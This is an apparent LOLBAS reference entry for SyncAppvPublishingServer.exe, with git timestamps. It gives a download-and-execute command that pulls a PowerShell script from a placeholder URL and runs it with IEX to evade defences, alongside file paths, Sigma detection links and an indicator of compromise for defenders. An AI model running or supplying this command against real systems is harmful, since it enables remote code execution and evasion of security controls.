2018-06-09 00:15:06 +02:00
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---
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Name: SyncAppvPublishingServer.exe
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2018-09-24 21:59:43 +02:00
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Description: Used by App-v to get App-v server lists
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Author: 'Oddvar Moe'
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2021-01-10 16:04:52 +01:00
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Created: 2018-05-25
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2018-06-09 00:15:06 +02:00
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Commands:
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- Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX"
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Description: Example command on how inject Powershell code into the process
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2018-09-24 21:59:43 +02:00
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Usecase: Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures
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Category: Execute
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Privileges: User
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MitreID: T1218
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2020-12-08 21:32:35 +01:00
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OperatingSystem: Windows 10 1709, Windows 10 1703, Windows 10 1607
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2018-12-10 14:28:12 +01:00
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Full_Path:
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2018-09-24 21:59:43 +02:00
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- Path: C:\Windows\System32\SyncAppvPublishingServer.exe
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- Path: C:\Windows\SysWOW64\SyncAppvPublishingServer.exe
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2021-01-10 16:04:52 +01:00
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Code_Sample:
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2021-11-15 14:19:03 +01:00
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- Code:
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2018-09-24 21:59:43 +02:00
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Detection:
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2021-11-15 14:19:03 +01:00
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- Sigma: https://github.com/SigmaHQ/sigma/blob/fb750721b25ec4573acc32a0822d047a8ecdf269/rules/windows/deprecated/powershell_syncappvpublishingserver_exe.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/fb750721b25ec4573acc32a0822d047a8ecdf269/rules/windows/deprecated/process_creation_syncappvpublishingserver_exe.yml
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- IOC: SyncAppvPublishingServer.exe should never be in use unless App-V is deployed
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2018-06-09 00:15:06 +02:00
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Resources:
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2018-09-24 21:59:43 +02:00
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- Link: https://twitter.com/monoxgas/status/895045566090010624
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Acknowledgement:
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- Person: Nick Landers
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Handle: '@monoxgas'
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